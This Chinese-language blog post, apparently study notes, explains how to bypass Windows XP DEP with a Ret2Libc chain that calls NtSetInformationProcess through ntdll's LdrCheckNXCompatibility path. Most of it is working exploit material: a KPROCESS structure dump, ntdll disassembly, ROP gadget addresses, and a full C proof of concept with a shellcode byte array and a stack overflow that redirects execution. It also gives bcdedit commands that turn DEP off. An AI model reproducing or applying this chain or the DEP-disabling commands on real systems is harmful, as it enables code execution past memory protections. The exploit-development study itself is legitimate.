zoukankan      html  css  js  c++  java
  • Ret2Libc学习NtSetInformationProcess DEP

    DEP简要说明  链接·········································


    DEP设置标示在KPROCESS 结构中  XP 下

    nt!_KPROCESS
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 ProfileListHead  : _LIST_ENTRY
       +0x018 DirectoryTableBase : [2] Uint4B
       +0x020 LdtDescriptor    : _KGDTENTRY
       +0x028 Int21Descriptor  : _KIDTENTRY
       +0x030 IopmOffset       : Uint2B
       +0x032 Iopl             : UChar
       +0x033 Unused           : UChar
       +0x034 ActiveProcessors : Uint4B
       +0x038 KernelTime       : Uint4B
       +0x03c UserTime         : Uint4B
       +0x040 ReadyListHead    : _LIST_ENTRY
       +0x048 SwapListEntry    : _SINGLE_LIST_ENTRY
       +0x04c VdmTrapcHandler  : Ptr32 Void
       +0x050 ThreadListHead   : _LIST_ENTRY
       +0x058 ProcessLock      : Uint4B
       +0x05c Affinity         : Uint4B
       +0x060 StackCount       : Uint2B
       +0x062 BasePriority     : Char
       +0x063 ThreadQuantum    : Char
       +0x064 AutoAlignment    : UChar
       +0x065 State            : UChar
       +0x066 ThreadSeed       : UChar
       +0x067 DisableBoost     : UChar
       +0x068 PowerState       : UChar
       +0x069 DisableQuantum   : UChar
       +0x06a IdealNode        : UChar
       +0x06b Flags            : _KEXECUTE_OPTIONS
       +0x06b ExecuteOptions   : UChar             //_KEXECUTE_OPTIONS
    lkd> DT _KEXECUTE_OPTIONS
    nt!_KEXECUTE_OPTIONS
       +0x000 ExecuteDisable   : Pos 0, 1 Bit       //DEP开启时置1
       +0x000 ExecuteEnable    : Pos 1, 1 Bit       //DEP关闭时置为1
       +0x000 DisableThunkEmulation : Pos 2, 1 Bit  //为了兼容ATL程序设置的
       +0x000 Permanent        : Pos 3, 1 Bit       //被置1后标示这些标志都不能再被修改
       +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
       +0x000 ImageDispatchEnable : Pos 5, 1 Bit
       +0x000 Spare            : Pos 6, 2 Bits
    真正影响DEP状态是前两位  所以我们要将 _KEXECUTE_OPTIONS 的值置为0x02 二进制为 00000010  就可以将 ExecuteEnable 置为1


    程序跳向非可执行代码上   DEP保护下溢出失败

    Ret2libc (Return to libc) 原理  :   跳向一个已经存在的系统函数,DEP不会拦截 。

    1) ZwSetInformationProcess函数将DEP关闭后再转入 shellcode执行

    2)VirtualProtect 函数来将shellcode所在内存页设置为可执行,再转入shellcode执行

    3)VirtualAlloc函数开辟一段具有执行权限的内存空间  然后  shellcode复制到这段内存中执行


    发现一个技巧:

    当我们想要在跳向返回地址之前  做一些小动作,比如 赋值eax,edx,ecx等等  可以将返回地址设置成    下面这种指令的地址

    mov eax,1

    retn

    然后retn  又跳向 第一次返回地址的下面所指地址


    这里说明一下Ret2libc的过程

    ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
    NtSetInformationProcess(
      NtCurrentProcess(),    // ProcessHandle = -1
      ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
      &ExecuteFlags,         // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
      sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

    如果一个进程的 Permanent位没用设置! 当它加载DLL时,对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP就会被关闭,为此微软设立了 LdrCheckNXCompatibility函数,当符合下面条件时DEP被关闭:

    1  DLL受 SafeDisc 版权保护系统时
    2  DLL包含有 .aspcak   .pcle   .sforce 等字节
    3  Vista下面 DLL包含在 注册表  HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsDllNXOptions 键下边标示出不需要启动DEP的模块


    (我们目的是jnz跳向 ZwSetInformationProcess 结束DEP保护) 用 OllyFindAddr插件中的Disable DEP 来搜索 下面的地址

    7C93CD1F    E8 87FFFFFF     call ntdll.7C93CCAB
    7C93CD24    3C 01           cmp al,0x1                      //我们设计跳向这里
    7C93CD26    6A 02           push 0x2
    7C93CD28    5E              pop esi
    7C93CD29    0F84 DF290200   je ntdll.7C95F70E               //将esi 赋值给[ebp-0x44] 
    7C93CD2F    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
    7C93CD33    0F85 F89A0100   jnz ntdll.7C956831              //转向关闭DEP函数ZwSetInformationProcess
    7C93CD39    FF75 08         push dword ptr ss:[ebp+0x8]
    7C93CD3C    E8 36000000     call ntdll.7C93CD77             //这里没有执行,是检.aspack等检查
    7C93CD41    84C0            test al,al
    7C93CD43    0F85 E09A0100   jnz ntdll.7C956829
    7C93CD49    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
    7C93CD4D    0F85 DE9A0100   jnz ntdll.7C956831
    7C93CD53    FF75 08         push dword ptr ss:[ebp+0x8]
    7C93CD56    E8 A6000000     call ntdll.7C93CE01
    7C93CD5B    84C0            test al,al
    7C93CD5D    0F85 B3290200   jnz ntdll.7C95F716
    这里是 ZwSetInformationProcess 函数

    7C956831    6A 04           push 0x4
    7C956833    8D45 FC         lea eax,dword ptr ss:[ebp-0x4]
    7C956836    50              push eax
    7C956837    6A 22           push 0x22
    7C956839    6A FF           push -0x1
    7C95683B    E8 4074FDFF     call ntdll.ZwSetInformationProcess
    7C956840  ^ E9 2865FEFF     jmp ntdll.7C93CD6D
    7C93CD6D    5E              pop esi
    7C93CD6E    C9              leave
    7C93CD6F    C2 0400         retn 0x4
    


    那么  必须要  al 为1   并且   ebp可写 (后面要对它写)  并且必须增大ESP (因为有可能在最后retn  4   到错误位置哦)

    1 先找 mov eax,0x1 ret   找到得到的地址拿去覆盖掉 函数返回地址

    2 那么下面 执行 又返回到了   [esp] 这里是 shellcode 中返回地址下面的一个DWORD  也就是插件找到的第一个地址  LdrCheckNXCompatibility 函数的地址

    3 然后执行到  je xxxxxx  里面要对 [ebp-0x4]赋值 那么我们就要 先于2步骤 修正EBP  寻找  push esp pop ebp retn 就可以将ebp定位到一个可写的位置,然后才写入2步骤的地址

    4 执行关闭DEP函数后  到达 retn 0x4  就会发现入栈时的数据将shellcode弄坏了············  此时我们想要让ESP和EBP之间足够大,这样关闭DEP过程中的入栈操作就不会冲刷到EBO的范围了 我们用 retn 将ESP增加字节

    5  那么上面写的顺序又不对了    先赋值 eax为1  然后  执行3步骤,然后执行4步骤,然后JMP ESP 去执行  ,最后shellcode 放入2步骤的  关闭DEP代码的起始地址

    6 最后跳向 shellcode起始地址执行````````````````


    关于   各个指令的搜索用   ···········插件完成就行了 

    下面是演示 代码: 


    #include <stdlib.h>    //XP SP3  OPTOUT VC++6.0 RELEASE版本   XP设置OPTOUT需要重启  禁止优化
    #include <string.h>
    #include <stdio.h>
    #include <windows.h>
    char shellcode[]=
    "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    "x53"
    "x68x64x61x30x23"
    "x68x23x50x61x6E"
    "x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"//168
    
    "x90x90x90x90x90x90x90x90"
    "x90x90x90x90"
    "x1dx99x95x7c"	//0x7c95991d  mav eax,1 retn
    "x68xdcxecx77"	//77ECDC68   Found:PUSH ESP POP EBP RET 4 at 0x77ecdc68 修正EBP
    "xAAxd4x92x7c"	//7C92D4AA   Found: RETN 28  at 0x7c92d4aa		增大ESP
    "x33xbfx98x7c"	// at 0x7c98bf33     Module: ntdll.dll			JMP ESP
    "x44xcdx93x7c"	//7C93CD44    ]      Module: ntdll.dll			Found:disable DEP
    
    "xe9x33xffxff"	//堆栈上显示ffff33e9
    "xffx90x00x00"	//堆栈上显示000090ff
    //0012FEC4  ^E9 33FFFFFF     jmp 0012FDFC
    ;
    void test()
    {
    	char tt[176];
    	memcpy(tt,shellcode,450);
    }
    int main()
    {
    	HINSTANCE hInst = LoadLibrary("shell32.dll");
    	char temp[200];
    	test();
        return 0;
    }

    DEP函数执行成功  返回0  若错误不成功返回错误码

    如果 程序自身设置了  SetProcessDEPPolicy   就能用  NtSetInformationProcess 去关闭程序的DEP了

    在命令行下执行命令“bcdedit /set nx alwaysoff”,重启系统后Windows 7的EDP就关闭了。

    反之,如果要开启所有服务和应用程序的DEP,执行命令“bcdedit /set nx alwayson”就可以了





  • 相关阅读:
    老年玩家每日水题(完结)
    51node1256 乘法匿元(扩展欧几里得)
    初识Springboot
    Springboot实现登录功能
    使用SMM框架开发企业级应用-----过滤器实现登录拦截
    使用SMM框架开发企业级应用-----mvc文件上传和下载
    使用SMM框架开发企业级应用-----MVC异常处理
    使用SMM框架开发企业级应用-----MVC参数传递
    使用SMM框架开发企业级应用-----MVC方法返回值类型
    使用SMM框架开发企业级应用-----基础配置
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982491.html
Copyright © 2011-2022 走看看